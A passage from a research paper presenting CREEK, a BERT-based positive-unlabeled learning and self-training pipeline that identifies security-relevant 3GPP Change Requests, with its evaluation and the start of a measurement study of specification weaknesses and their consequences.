to automate the analysis, finding SR-CRs through machine
learning (ML), faces the difficulty in labeling training data, a
painstaking process that can only be handled by 3GPP experts.
As a result, any ML-based solution can only count on a small
set of ground-truth data (301 SR-CRs in our research).

Intelligent CR analysis. To address this challenge, we de-
veloped a new Natural-Language Processing (NLP) and ML
pipeline, called CREEK (CR Seeker), based upon the recent
progress in these areas. Our approach utilizes a small set of
manually identified positive instances (which are easier to
label than negative instances) to train a binary classier for
finding SR-CRs. For this purpose, we leveraged the idea of
transduction to learn a related but easier task: whether a given
paragraph comes from a security specification (e.g., Technical
Specification (TS) 33.4011), which is explicitly labeled by
3GPP. This learning process results in a transformer generat-
ing embeddings for input paragraphs. On the embeddings of
the labeled positive instances and a subset of unlabeled CRs,
we run Positive-Unlabeled (PU) learning to train a classifier.
The classifier is further refined using self-training on the rest
of the unlabeled CRs. Here our transduction learning uses
the information learnt from the related (easier) task to enrich
the knowledge necessary for finding SR-CRs, PU-learning
builds the classifier just on positively labeled instances and
self-training propagates labels to unlabeled data. Not to men-
tion our innovation on the loss function for the adversarial
training framework for PU-learning, which addresses the po-
tential bias. Our study shows that the CREEK pipeline is
effective at capturing SR-CRs: over 400K CRs, it reported
1,270 SR-CRs with a precision of 91.6%.

Measurement and findings. Our NLP/ML pipeline enables
us to focus on SR-CRs to study security hazards in the 3GPP
ecosystem. In our research, we analyzed the 1,270 SR-CRs de-
tected with high confidence, which reveals serious, sometime
surprising risks. More specifically, we found that the security
issues discovered from 3GPP documents have significant and
diverse consequences, including denial of service, informa-
tion leak, overcharging, etc. Over 70% of them are design
errors, often present in security-related operations. Remains
are problematic presentations including “unclear description”
that misses security-relevant details, and inconsistent state-
ments (called misalignment). Of particular interest is the per-
vasiveness of the misalignment that however is claimed by

1All the 3GPP specifications, CRs can be found in 3GPP file server:
https://www.3gpp.org/ftp

3GPP that they struggle to avoid. The inconsistency is in
security-related content across specifications, including those
at different stages, for different releases and about different
telecommunication generations (2G/3G/4G/5G). Even the
attempt to address these inconsistencies can cause new mis-
alignment, due to miscoordination among the 3GPP groups
working on different documents.

Looking into how these SR-CRs are managed by 3GPP and
affect protocol implementation, we observe a large window
between their publications and proposed changes finally made
to specifications. Such a window typically extends around
58 days, that exposes reported security weaknesses to the ad-
versary and leaves a long time for an attack to happen. Even
after the specifications were mended, we witnessed significant
delays, which can be as long as 11 years, in updating imple-
mented systems by device manufacturers and cellular network
carriers. Also interestingly, we found that 14 weaknesses re-
ported by SR-CRs end up being discovered in real systems
many years later, while 6 of them are still out there today:
not only has our experiment demonstrated their presence in
popular mobile phones (Samsung Galaxy S10, Google Pixel 3
and Nexus 6P), but we also got the evidence for the existence
of 1 weakness in real-world carrier networks (Section 4.2).

Also concerning is the trend of 3GPP security assurance.
Over years, we observed the increase of SR-CRs, with the
problems reported for the new telecommunication generation
outnumbering those found in the old one. The presentation is-
sues do not seem to improve over time either. Across releases,
the attack window actually becomes larger, from 43 days for
Release 4 to 71 days for Release 16. To mitigate the risks, we
propose measures to improve the security assurance of the
3GPP ecosystem, including responsible handling of SR-CRs.
Contributions. Our contributions are outlined as follows:
• New technique. We developed a new NLP/ML pipeline
that effectively identified from a large number of CRs those
security-relevant. Our technique overcomes the challenge in
labeling SR-CRs and is capable of capturing complicated
SR-CRs. Not only has it enabled our measurement study, but
it can also help enhance the security assurance of the 3GPP
ecosystem, by flagging the CRs likely security-relevant and
thus requiring special attention.
• New findings. We performed the first security analysis and
measurement study on the 3GPP ecosystem, bringing to light
surprising findings with significant security implications: e.g.,
difficulty in maintaining consistency across security-relevant
content, large attack windows exposing published weaknesses,
etc. We further propose improved procedures to better protect
the ecosystem, which has never been done before.

2 Background

2.1 3GPP Ecosystem
Organization. 3GPP unites 7 telecommunication standard de-
velopment organizations (e.g., ATIS [2], CCSA [3]) with the
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capability and authority to define, publish and set standards
within the 3GPP scope in their nations or regions, 23 market
representatives offering market advice and bringing market
requirements (e.g., GSM [7], CTIA [5]), and 758 individual
members (e.g., Qualcomm [9], Ericsson [6], Huawei [8]) com-
mitted to technical contribution to 3GPP specifications. These
partners and members form Technical Specification Groups
(TSGs) that prepare, approve and maintain 3GPP Technical
Specifications (TS). Now, 3GPP has 3 TSGs responsible for
different functionalities: Radio Access Network (RAN) TSG,
Service & System Aspects (SA) TSG, and Core Network &
Terminals (CT) TSG. Under each TSG are several Working
Groups (WGs), such as RAN WG1 focusing on radio physical
layer protocols, CT WG1 building the user equipment (UE)
for core network protocols, and SA WG3 identifying the re-
quirements and specifying the architectures and protocols for
security and privacy in 3GPP systems.
Development methodology. Using the recommended stage
methodology characterizing telecommunication services [54],
TSGs develop specifications in 4 stages: stage 1 is an over-
all service description from the user’s standpoint; stage 2
provides an overall description for network functions and ca-
pabilities; stage 3 defines network implementation, such as
switching and signaling, which supports services specified in
the previous stages; stage 4 is for testing. For example, SA
WG3 produces TS 33.501 (security architecture and proce-
dures for 5G System) for stage 2, which should be supported
by stage 3 protocols, such as those for the user equipment
to the core network (like TS 24.501 Non-Access-Stratum
protocol for 5G system) developed by CT WG1.

3GPP organizes specifications into different Releases, each
with distinguishable network capabilities and features, e.g.,
Release 8 for LTE and Release 15 for 5G. When all TSGs de-
termine when a Release is ready, that is, all its features being
defined and all its functionalities and required modifications
being incorporated, they will declare that the Release is stable
enough to be “frozen”. Each Release development usually
takes around 3 years. For instance, Release 8 was started in
January 2006 and frozen in March 2009.
Change Request. Before a Release is formally frozen, the
drafts of its specifications are published on the 3GPP file
server. From that point on, all modifications on these speci-
fications (even after the Release is frozen) need to be made
through Change Requests (CRs). A CR documents a proposed
change raised by an individual member (e.g., Qualcomm), and
brought to the attention of the responsible WG, which should
pertain to a single technical topic only and relate to a specific
version of a specification. In response to the WG’s comments,
the CR may undergo one or more rounds of revisions before
approved by the WG and presented to the TSG. It may further
go through additional changes upon request of the TSG, which
makes the final decision on whether to approve the CR en-
tirely without change or to reject or postpone unconditionally.
If a CR is approved, a new version number of the specifica-

CHANGE REQUEST
<Spec#> <CR#> <Rev#> <Current Version#>

 Title:
 Category:  Release:
 Reason for change:
 Summary of change:
 Consequences if not approved:
 Clauses affected:

CHANGE REQUEST
<Spec#> <CR#> <Rev#> <Current Version#>

 Title:
 Category:  Release:
 Reason for change:
 Summary of change:
 Consequences if not approved:
 Clauses affected:
 Other specs affected:

Figure 1: CR front form template.

tion will be allocated and published online. Figure 1 shows
a CR’s standardized front form. Each CR with a unique ID
(e.g., C1-094446) contains relevant management information
and proposed changes, such as the number of the target speci-
fication, its version and affected Release, the reason for the
proposed modifications, the summary of how to change, and
the consequences if the TSG does not accept it. Also, the form
puts the CR into a certain category, including A (the change to
ensure the consistency with another CR in a different category
made to an earlier Release), B (addition or deletion of a fea-
ture), C (functional modification), D (editorial modification),
and F (correction). Specifically, the category F is meant to
correct a problem in the specification that might lead to an
erroneous operation, an ambiguity in the specification that
could cause wrong implementation, and other specification
errors [12]. All the CRs including their revised versions are
public on the 3GPP file server once they have been proposed
to discuss at the (WG and TSG) meetings. The CR database
on 16th, Aug 2021 shows 414,488 CRs, including 248,254
in Category F, which include all specification problems (e.g.,
security weaknesses) reported by 3GPP individual members
in the history and therefore can be a valuable resource for un-
derstanding security hazards in the 3GPP ecosystem. Notably,
these 248,254 CRs discussed only 166,657 different weak-
nesses. Thus, we only focus on the last CR for each weakness,
and ignore their prior revisions talking the same weakness.

2.2 NLP and ML
BERT and domain adaptation. Bidirectional Encoder Rep-
resentations from Transformer (BERT [20]) is developed
as an NLP pre-training technique, which was originally
trained on a combination of BOOKCORPUS [60] and En-
glish WIKIPEDIA, and has later been extensively utilized
in many NLP tasks after fine-tuning. Fine-tuning BERT can
be done through either domain-adaptive or task-adaptive pre-
training [24]. Particularly, fine-tune with Masked Language
Modeling (MLM), which lets BERT predict randomly masked
words in input sentences according to contexts, enables ef-
fective adaptation of the model to different domains. This
approach is therefore incorporated into our CREEK pipeline
(Section 3.3).
Positive-Unlabeled learning. Positive-Unlabeled (PU) learn-
ing is an ML technique for training a binary classifier using
only positive and unlabeled data. Formally speaking, during
training, we have labeled positive data ({xPtr

i }) together with
unlabeled data ({xUtr

i }) but are not given labeled negative
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data. Suppose that those nPtr labeled positive data {xPtr
i }nPtr

i=1
follow a distribution ptr(x|y = +1), where y ∈ {+1,−1} is
the label of x, and those nUtr unlabeled data {xUtr

i }nUtr
i=1 follow

a distribution ptr(x):

{xPtr
i }nPtr

i=1
i.i.d.∼ ptr(x|y =+1)

{xUtr
i }nUtr

i=1
i.i.d.∼ ptr(x) = πPtr ptr(x|y =+1)

+πNtr ptr(x|y =−1)

(1)

where πPtr := ptr(y =+1) is the fraction of positive samples
in the training data set (including the labeled and unlabeled
samples), πNtr := ptr(y = −1) = 1− πPtr is the fraction of
negative samples in the training data set. The goal of the PU
learning is to learn a classifier g : Rd → R that minimizes the
expected risk on the testing data following the distribution
pte(x,y) = pte(x)pte(y|x):

R te(g) := Epte(x,y)[ℓ(yg(x))] (2)

where Epte(x,y) denotes the expectation , and ℓ(·) is the loss
function (e.g., the negative logarithm loss function). The ordi-
nary PU learning [17,23,59] assumes that the positive labeled
set has been Selected Completely At Random (SCAR) , and
thus it follows the same distribution as the positive samples
in the testing data set, i.e., ptr(x|y =+1) = pte(x|y =+1) =
p(x|y =+1). However, this SCAR assumption may not hold
in our SR-CR finding scenario, because bias may be present
in the training data due to the limited knowledge of the ex-
perts (to some specific specifications). So we propose a new
learning technique to address this challenge (Section 3.2).
Self-training. A self-training mechanism iterates a teacher-
student training process till convergence: the base teacher
model is trained on a labeled set, which is applied to a sub-
set of the unlabeled data to generate their pseudo labels; a
student model can then be learned on the combination of the
labeled set and the pseudo-labeled set. At the center of this
self-training process is how to select a representative subset
of unlabeled data for producing the pseudo-labeled set. This
problem has been studied in the prior research using predic-
tive entropy [51], variation ratios [39], standard deviation and
more recently using model uncertainty, such as Bayesian Ac-
tive Learning by Disagreement (BALD) [28], which selects the
unlabeled samples that maximize information gain (Eq. 10).
In our research, BALD and [42] was used in our research
to select representative unlabeled samples for self-training.
(Section 3.3).

3 Finding Security-Relevant CRs
A CR is considered to be security-relevant (that is, an SR-CR)
when it reports a problem that if not fixed, may allow secu-
rity policies to be violated by the adversary. These security
policies are meant to protect a system’s confidentiality, in-
tegrity, and availability. For instance, S3-180838 provides a
protection mechanism to address an information leak risk that
the permanent identity IMSI could be exposed to the passive
or active attacker; C1-183426 fixes a bidding down risk that

a User Equipment (UE) could only receive the 4G-level se-
curity protection while the network provides the 5G service;
C1-094446 discloses a security weakness that the UE could
accept a message without integrity protection, allowing a fake
base station to disable the service of the UE.

Finding such SR-CRs is nontrivial. The straightforward
method, keyword search, does not work well, with a low pre-
cision and a low recall (see the last paragraph of Section 3.4).
Therefore in our research, we leveraged machine learning
(ML) techniques to classify CRs and identified those security-
relevant. Development of such an ML classifier, however, is
nontrivial, due to the difficulty in labeling CR data, which re-
lies on experts who are often only knowledgeable about some
specifications. To address the labeling related challenges (as
elaborated in Section 3.1), we designed and implemented
an NLP pipeline, called CREEK (Section 3.2 and 3.3), and
further reported our evaluations of the pipeline (Section 3.4).

3.1 Challenges in Finding SR-CRs
Challenge 1: small labeled dataset. As aforementioned,
manual labeling of the 166,657 CRs in Category F is hard, due
to the challenge in understanding the semantics of each CR,
which requires in-depth knowledge about the related 3GPP
specification. C1-095712 presents an example, whose conse-
quence is “The entries may be incorrectly removed from the
allowed CSG list causing persistent inability of UE to access
a CSG cell.”. It is not easy to establish its connection with
security due to the lack of knowledge about the CSG cell’s
functionality. To avoid the intensive labor involved in labeling,
we searched the CR base with two keywords, “attack” and
“vulnerability”, and further manually inspected those discov-
ered to identify the CRs indeed security-relevant. In the end,
we labeled 301 SR-CRs in this way, which were later used to
train the CREEK pipeline that found 1,270 SR-CRs.
Challenge 2: positive instances only. The keyword approach,
unfortunately, cannot correctly locate non-SR-CRs. Random
sampling the whole CR dataset for manual analysis is hard
to ensure that a selected CR indeed has nothing to do with
security and privacy, given the requirement for an in-depth
understanding of all related specifications. So our NLP/ML
pipeline has to be built upon positive instances only.
Challenge 3: biased training set. The labeled CRs selected
using keywords may not follow the general distribution of
SR-CRs across different specifications. This could undermine
the effectiveness of the ML models trained on the data. In
this study, we propose an enhanced PU Learning (Positive-
Unlabeled Learning) model to address the bias.

3.2 Design
As discussed above, finding SR-CRs is a binary text classifi-
cation problem with unlabeled data and a small set of positive
examples that is biased. To solve this problem, we designed
CREEK with the following steps: 1) embedding generation,
2) PU learning, 3) self-training. Here 1) and 3) are meant to
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Figure 2: CREEK pipeline.
enrich the information carried by the small labeled set, while
2) addresses the constraint of positive instance only and the
potential bias. Figure 2 illustrates our design.
Step 1: embedding generation. The first step is to transfer
every sentence in each CR into an embedding, a feature vec-
tor of the same size that captures the key information of the
input sentence with a various length. This purpose can be well
served by BERT, which produces high-quality embeddings.
However direct applying pre-trained BERT does not work
well, due to its lack of domain specific information: we found
that only 19.8% of the top 10K most frequent words (exclud-
ing stopwords) used in 3GPP CRs also appear on the top 10K
list of the original BERT training corpus. So in our research,
we fine-tuned a pre-trained BERT through huggingface [56]
on all 3GPP specifications using two tasks – masked language
modeling and binary classification for security-related specifi-
cations. Note that the second task is different from (and much
easier than) finding SR-CRs: it is meant to determine whether
a paragraph comes from a security-related specification ex-
plicitly labeled by 3GPP. This task could help our fine-tuned
BERT gain knowledge about security-related nouns in 3GPP
specifications including abbreviation, specification number,
etc., and learn the language model of 3GPP CRs.
Step 2: PU learning. For the embeddings generated by Step
1, we need high-quality labeling for training a classifier. How-
ever, as mentioned earlier, we only have a small set of positive
instances (Section 3.1) so we have to use Positive-Unlabeled
(PU) learning to build the classifier. A problem here is that
the SCAR assumption (Section 2.2) may not be held, as all
these positive instances were found by keywords and there-
fore can have a different distribution than the testing distri-
bution. Such a difference is called covariate shift [52], i.e.,
ptr(x) ̸= pte(x), the probability tensity of training distribution
is different from the probability tensity of testing distribution.
Inspired by the prior research [29], we developed an adversar-
ial learning framework with a classifier C and a discriminator
D: D tries to recover the bias between the training distribu-
tion and the testing distribution, while C seeks an optimal
separation between positive instances and negative ones with
sample weights calculated from the bias recovered by D. After
convergence, our classifier C learns how to figure out SR-CRs
without the bias introduced by the keywords. Notice that, we
utilized 10% of the CRs to train this classifier since training
with all CRs would trap our model so it outputs negative la-
bels for all unlabeled data, given that our positive instances
were merely 0.2% of all CRs and are easily overwhelmed by
the unlabeled data.

Step 3: self-training. After training a classifier Ĉ on 10% of
unlabeled data, we further ran Uncertainty-aware self-training
(UST) [42], a self-training algorithm, on the remaining 90%
to refine the classifier. UST selects the unlabeled data with
less uncertainty produced by Ĉ and measured by BALD. This
self-training process helps Ĉ increase the distance between
SR-CRs and non-SR-CRs, making it more robust.

3.3 Details and Implementation
Fine-tuning BERT. We use 3GPP specifications as the cor-
pus for BERT fine-tuning. Specifically, we established two
objectives: Masked Language Model (MLM) and Security
Specification Classification (SSC). The MLM objective is
to train our BERT to predict randomly masked words in a
sentence. We use the cross entropy loss for MLM objective.
The SSC objective is to train our BERT to judge whether a
given text belongs to security specifications. We use binary
cross entropy function as the loss function for SSC. We defer
details to Appendix A.1
PU learning with covariate shift. To train our SR-CR classi-
fier, we leveraged an adversarial learning framework contain-
ing a discriminator D and a classifier C. D tries to recover the
covariate bias, while C seeks an unbiased classifier with the
help of the covariate bias recovered by D.

To recover the covariate shift [52], w(x) = pte(x)
ptr(x) , we did

following transformation:
w(x) = p(x|x∼pte(x))

p(x|x∼ptr(x))

= p(x∼pte(x)|x)p(x)/p(x∼pte(x))
p(x∼ptr(x)|x)p(x)/p(x∼ptr(x))

= p(x∼pte(x)|x)
p(x∼ptr(x)|x)

p(x∼ptr(x))
p(x∼pte(x))

= ( 1
p(x∼ptr(x)|x) −1) p(x∼ptr(x))

p(x∼pte(x))

(3)

Note that, here we assume the testing and training data are
random split, and thus p(x ∼ ptr(x)) = p(x ∼ pte(x)). As
a result, w(x) is only related to the probability of a given
x belonging to the training set, p(x ∼ ptr(x)|x). Using De
Morgan’s laws, we can further expand p(x ∼ ptr(x)|x) = 1

2 +
1
2 p(x∈Ptr|x), where p(x∈Ptr|x) is the probability of a given
x belonging to the labeled positive set. Note that we hope
to use the output of the discriminator D(x) to approximate
p(x ∈ Ptr|x), and thus we get:

w(x) ≈ 1
1
2 D(x)+ 1

2
−1 = (1−D(x))/(1+D(x)) (4)

Empirically, we designed the following loss function lossD to
let D learn the distribution of p(x ∈ Ptr|x):

lossD =−
m
∑

i=1
logD(xPtr

i )+ log(1−D(xUtr
i )) (5)

where xPtr
i is the instance in the positively labeled training set

and xUtr
i is the instance in the unlabeled training set. Notice

that we replace the instance in the testing set with the instance
in the unlabeled training set, as they have the same probability
densities.

With recovered covariate shift w(x), the testing risk (Eq. 2)
of PU learning can be represented by:
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R tr
w (g) = Eptr(x)[ℓ(yg(x))w(x)ptr(y|x)]

= Epte(x)[ℓ(yg(x))pte(y|x)]
= R te(g)

(6)

where ptr(y|x) = pte(y|x) and w(x)ptr(x) = pte(x) are used
in the second step. Further, replacing g by our classifier C, the
training risk R tr(C) can be decomposed as following , with
the help of the deduction in the prior work, Plessis et al. [21]:

R tr(C) =
m
∑
i
[−πPtr logC(xPtr

i )

+|πPtr log(1−C(xPtr
i ))− log(1−C(xUtr

i ))|]
(7)

Together with w(x), we define the loss function lossC:

lossC = R tr
w (C) =

m
∑
i
[−πPtr logC(xPtr

i )w(xPtr
i )

+|πPtr log(1−C(xPtr
i ))w(xPtr

i )− log(1−C(xUtr
i ))|]

(8)

where πPtr is the ratio of SR-CR in the training set that can
be estimated by using [33]. Empirically, we set πPtr = 0.2.
Combining lossD and lossC, we get our final objective:

min
C

max
D

−lossD +λlossC (9)

where the discriminator D judges whether an instance comes
from the training set, while the proposed model mutually
trains a classifier C minimizing the training risk-weighted by
w(x) (Eq. 4) that takes into consideration the covariate shift
caused by the bias in the labeled positive samples.

In practice, C and D were implemented using the same
model structure as a two-layer bidirectional LSTM [30] with
hidden size 256 and output size 64. We set a small λ = 1e−3,
making D learn the bias quickly. We take RMSprop opti-
mizer [26] with fix learning rate 5e−6. We train 1000 epochs
with batch size 256.
Self-training improvement. After training a classifier Ĉ
through our PU learning algorithm, we leverage self-training
on unlabeled data to strengthen the distinguishability of Ĉ.
Specifically, we use Ĉ to label those rest unlabeled data,
and train our final classifier C∗ on these pseudo-labeled data
weighted by prediction uncertainty of Ĉ. The prediction uncer-
tainty was measured by cooperating BALD with [42]. Con-
cretely, we let C∗ focus more on those less-uncertain data
predicted by Ĉ. The details could be found in Appendix A.2

3.4 Evaluation
Following, we report our evaluation of CREEK, which aims
at answering two questions: 1) how well does CREEK per-
form in finding SR-CRs? 2) how does each component of the
pipeline contribute to addressing aforementioned challenges?
Effectiveness. To answer the first question, we ran experi-
ments to analyze CREEK’s performance from two aspects:
its capability to overcome the biased positive labels and gen-
eralizability on various CRs. Notice that we keep the number
of positives the same as that of negatives in each testing set
we constructed.

• Overcoming bias. Limited by the three challenges (Sec-
tion 3.1), our CREEK was trained on positively labeled in-
stances found using keywords (“attack” and “vulnerability”).
The bias brought by keywords is present not only in the train-
ing set but also in the single testing set. To reduce the impact
of such bias when evaluating our approach, we utilized mul-
tiple testing sets with different keywords. For each set, we
chose a security-related keyword (independent of those used
to build our training set) and labeled the CRs carrying the
keyword as positives and those without the keyword as nega-
tives. Totally, we constructed six testing sets with six different
security-related keywords and the Overall testing set where
positives are CRs containing one of the six keywords2 and the
negatives are those containing none of these keywords. Note
that we deliberately selected these keywords (e.g., “security
threat”, “malicious”) to be specific, so as to ensure that the
CRs carrying them are indeed SR-CRs (similar to those for
constructing the training set) but their coverage is limited:
altogether, 211 CRs containing these words.

The testing results of CREEK on these datasets are pre-
sented in Table 1. From the results, we can see that our
CREEK achieves a high coverage (recall) on different test-
ing sets, showing that CREEK can detect not only the CRs
with training keywords but also those with unseen keywords.
Together with the high recall, we also observe a stable and
high precision on these datasets. This provides the evidence
that CREEK is capable of overcoming the bias brought by
positive-only training set.

• Generalization to various CRs. To further investigate the
performance of CREEK on various CRs, we manually labeled
25 SR-CRs and 25 non-SR-CRs (see detailed SR-CRs on our
website3) to construct the Manual testing set.

On these 50 manually labeled CRs, our CREEK correctly
predicted 45 CRs (90.0% accuracy) with 3 false negatives and
2 false positives, and achieved 91.6% precision and 88.0%
recall. Among those successfully predicted SR-CRs, we dis-
covered that CREEK can figure out complicated SR-CRs that
our experts need several hours to determine their security rele-
vance. For instance, the consequence of S3-040743 is “MUK
and MSK keys could be used during their validity time by
another user inserting his UICC in the ME”, which does not
include explict security-related keyword that can serve as an
indicator to build the CR’s connection with security. However,
by looking into relevant specifications (TS 33.246), one can
learn that “MUK” and “MSK” are two keys for protecting the
confidentiality of Multimedia Broadcast/Multicast Service
traffic. This SR-CR reveals that an attack could be launched
by reusing these two keys when another user inserts the SIM
card to the victim UE from his mobile phone. Another exam-
ple is S3-091125, which contains some sophisticated termi-
nologies but no clues for its security relation. However, after

2We exclude the duplication for those CR containing multiple keywords.
3 https://sites.google.com/view/3gpp-creek
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Table 1: Testing results on different datasets.

Denial of service Security threat Malicious Spoof Eavesdrop Privacy risk Overall Manual
Precision (%) 96.2 100 100 89.1 100 100 96.3 91.6
Recall (%) 88.1 82.7 90.7 82.0 100 100 87.6 88.0
Accuracy (%) 92.3 93.1 95.3 86.0 100 100 92.3 90.0
Positives (#) 59 29 54 50 11 8 211 25

reading TS 33.220, a document with 96 pages, we found that
the consequence of S3-091125 implies a Denial-of-Service
(DoS) attack since the NAF (Network Application Function,
an element in the core network) will stop providing service
to the UE due to the failure in retrieving its phone number
(called MSISDN in 3GPP). One more example is S3-151926
with the consequence that “UEs may not be able to contact
the PKMF to fetch their keys”. After reading TS 33.303, we
know that the PKMF stands for “Proximity-based Service
Keys Management Function”, which is used to provide a set
of keys to protect the messages to UE. So, failure to fetch the
keys from PKMF may lead to potential security risks, such
as privacy violation. Correctly predicting these complicated
SR-CRs indicates that CREEK has learnt security-related ter-
minologies and the connection between them (thanks to our
transductive learning).

Also, we found that CREEK can correctly predict SR-CRs
with indicators missing in our training set. For instance, the
indicator “confidentiality ... is compromised” is not present
in our training set, yet CREEK correctly identifies the SR-CR
S3-020229 containing this indicator, which describes leakage
of sensitive information, the IMS session keys.

As for the three false negatives, we ascribe to the obscure
descriptions in CRs. Specifically, C1-092847 contains “SA3”,
the item is highly related to security, however, appears neither
in our training set nor in the 3GPP security-related specifi-
cations. Thus, without explicit labeling, the connection be-
tween “SA3” and security could not be established by CREEK.
Similarly in C1-051071, the indicator is “stage 2”, a term
whose security implication has not been well specified. For
C1-100105, the problem is missing details: one can hardly
determine whether “absence of a general introduction” would
lead to a security risk, considering that the word “absence” is
ubiquitous in 3GPP CRs and mostly unrelated to a DoS risk.

We believe that the two false positives are caused by the
lack of knowledge. Specifically, CREEK falsely labeled SR-
CRs R5-094440 and R5-160901, which are about failures in
compliant UE. Without knowing that compliant UE refers to
a testing scenario, these two CRs would easily be linked to
DoS attacks.

Based upon the evaluation results, we believe that CREEK
has been well generalized to cover various CRs, even com-
plicated ones. This is important for determining the security
implications of a CR. In our research, we spent one hour on
average to label a complicated CR, showing the high cost of
manual labeling (labeling 1,000 may take one month).

Ablation study and comparison. We further conducted ab-

Table 2: Accuracy for ablation studies.

Accuracy (%) BERT BERT-3GPP
Overall Manual Overall Manual

Ordinary PU 53.9 52.0 64.9 58.0
Ordinary PU+Self-training 51.4 56.0 67.3 62.0

Our PU 80.7 80.0 90.1 86.0
Our PU+Self-training 86.3 84.0 92.3 90.0

lation studies to evaluate the utilities of each component in
our CREEK pipeline: embedding generation, PU learning and
self-training. Their accuracies on the overall keyword search-
ing testing set and manual labeled testing set were used as the
metric. Our ablation studies’ results are present in Table 2.
Here, the “BERT-3GPP” column refers to our BERT model
fine-tuned on the 3GPP corpus with the MLM and SSC tasks,
and the “BERT” column refers to using the original BERT
model. The accuracies reported in “BERT-3GPP” columns are
always higher than those in “BERT” columns no matter which
models follow the component on the pipeline, indicating that
the 3GPP security-related information captured by our fine-
tuning model helps generate more representative embeddings
for the follow-up components to identify SR-CRs. Also in the
table, rows “Ordinary PU” and “Ordinary PU + Self-training”
refer to the ordinary unbiased PU learning (PAN [29]) and
the rest two rows are about our biased PU learning. Compar-
ing these rows, we found that our biased PU learning greatly
outperforms the ordinary alternatives, improving the accuracy
on both two testing sets. Note that without our new algorithm,
the highest accuracy is only 67.3%, much lower than what
can be achieved (92.3%) by using our PU learning, which
indicates that our PU learning component successfully ad-
dresses the bias introduced by positively labeled instances
only and the training data built upon two keywords (“attack”
and “vulnerability”). Also, rows with “+Self-training” refer
to the self-training component applied after the PU learning.
The results demonstrate that self-training is more useful on
non-optimum solutions, considering that it achieves an accu-
racy gain 2.2% for “BERT-3GPP” while 5.6% for “BERT”
on the overall keywords testing set. A possible explanation is
that the information gained by self-training has been partially
obtained by fine-tuning BERT on the 3GPP corpus.

Comparison with keyword search. To understand the per-
formance of simple keyword search, we manually selected
49 representative security-related keywords from SR-CRs.
Specifically, we first came up with an ordered list of most fre-
quent keywords from 1,270 high confident SR-CRs predicted
by CREEK, and selected from the list 49 most frequently used
security-related words (e.g., “attack”, “security threat”, etc.)
out of total 5,000 frequently used words. The full list of the
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Table 3: Statistics of keyword search.
Note: ≥ k column represents the results of keyword search by using the set
of keywords that leads to the discovery of at least k confirmed SR-CRs out

of 4 randomly selected CRs for the word.
≥ 4 ≥ 3 ≥ 2 ≥ 1 ≥ 0

# of Keywords 14 20 31 43 49
# of SR-CRs (discovered) 313 576 1,500 3,798 7,869
Expected # of real SR-CRs 313 510.25 972.25 1,546.75 1,546.75
Estimated Precision 100% 88.6% 64.8% 40.7% 19.7%

49 keywords is posted on our website. Then we estimated
the precision of each keyword through manual analysis of 4
randomly selected CRs carrying the word, and further ana-
lyzed the precision of applying a set of these keywords to find
SR-CRs, when each word in the set leads to the discovery of
at least 0 (≥ 0), 1 (≥ 1), 2 (≥ 2), 3 (≥ 3) or 4 (≥ 4) confirmed
SR-CRs out of the 4 randomly selected CRs for the word. The
results are present in Table 3, with more details provided on
the website.

Using each keyword’s precision and the number of CRs
containing the word, we further estimated the precision of
keyword search using a given set of keywords by calculat-
ing the proportion of the expected number of real SR-CRs
to the total number of identified CRs. For example, for the
set of ≥ 3, 313 CRs are discovered by 14 keywords with
a precision of 100% (=4/4) and 263 (=576-313) additional
CRs are found using 6 keywords with a precision of 75%
(=3/4); so, the expected number of real SR-CRs is 510.25
(= 313∗100%+263∗75%), and the estimated precision of
the whole set is 88.6% (= 510.25/576). At this precision
level (88.6%), which is comparable but a bit lower than that
of CREEK (91.6%), we found that the keyword search reports
much fewer expected real SR-CRs than CREEK (510.25 vs.
1163.32), as shown in Table 3. Further, when we use the set
of the keywords (≥ 2) that detect fewer (but a similar num-
ber of) expected SR-CRs compared with CREEK (972.25 vs.
1163.32), the precision of the keyword search drops to 64.8%,
which is much lower than that of CREEK at 91.6%. If we use
all 49 keywords, the precision goes further down to 19.7%.
This indicates that the simple keyword search is inadequate
for effectively identifying SR-CRs.

4 Analyzing SR-CRs
In this section, we report our measurement study on 1,270
SR-CRs detected by CREEK with high confidence (> 0.99)
to understand the security hazards in the 3GPP ecosystem.

4.1 Security Quality of Specifications
Security consequences. Previous studies [16, 27] report that
erroneous and problematic content of 3GPP specifications
could lead to vulnerable implementations, which can be ex-
ploited for Denial of Service (DoS) or private identity leaks.
By leveraging the discovered SR-CRs that record security-
related specification problems reported during their develop-
ment, we are able to gain a more comprehensive understand-
ing about their security quality and impacts of their weak-
nesses. Specifically, as Figure 1 shows, every CR has a field

*consequences if not approved* , which is supposed to explain
the potential harms once the weakness is attacked. In prac-
tice, however, some SR-CRs only roughly mention that the
weaknesses they document could be used to violate a security
requirement without providing any detail. So in our study, we
inspected 1,270 SR-CRs and selected from them 616 SR-CRs
carrying detailed consequence fields.

Manually analyzing these SR-CRs, we classified their con-
sequences into five categories, as shown in Table 4, including
DoS attack, sensitive data leak, failure to prevent attacks, bat-
tery draining, and overcharge. Our research shows that the
most common consequences are those related to service inter-
ruption (DoS), which can happen both on the UE and the core
network. For instance, SR-CR C1-094446 reports a weakness
in TS 24.301 that could be used by a malicious base station
to kick a UE out of service until the user reboots her device.
Less severe but still disruptive is the exploit related to C1-
154301, which locks the UE out of the Packet Switched (PS)
service so it cannot use IP data but can still make phone calls.
Also pervasive is data leak: SR-CRs in this category expose
sensitive information, such as the UE’s locations, private iden-
tities, certificates, ciphering mechanisms, and even security
keys. Further, 3GPP has a special WG SA3 that defines se-
curity and privacy requirements, architectures, and protocols
for 3GPP systems, which are meant to mitigate threats like
DoS, man-in-the-middle (MITM) attacks and etc. However,
from the SR-CRs in the third category, we found that erro-
neous specification content potentially results in a system
without proper protection against such attacks. For example,
C4-191528 reveals an error in the OAuth token defined in TS
29.510, which could lead to failure in the PLMN verification,
rendering the system unable to prevent an impersonation at-
tack. Moreover, we found that some specification weaknesses
(e.g., S3-120336 and S3-142116) could cause battery draining
and some others can be exploited to make free phone calls or
overcharge a target victim UE. These findings demonstrate
significant security impacts of 3GPP specification errors.
Causes. Given the serious security consequences of specifi-
cation weaknesses, it is important to understand their causes,
which tend to be clearly documented by each CR in the field
*reason for change* as Figure 1 shows.

So, in our research, we manually inspected 1,270 SR-CRs
and our findings are summarized in Table 5. As we can
see, most issues are related to design errors (70.55%), as
expected, but surprisingly, the remaining specification prob-
lems (29.45%) are caused by problematic presentation. We
elaborate our findings as follows.

The design errors are found to be rather diverse, but most
of them are reported in the procedures meant for security
protection (such as integrity protection) and the rest in the
procedures that need to be safeguarded. As an example, S3-
080841 documents a design flaw in key derivation when a
UE moves from one cell to another, which could cause po-
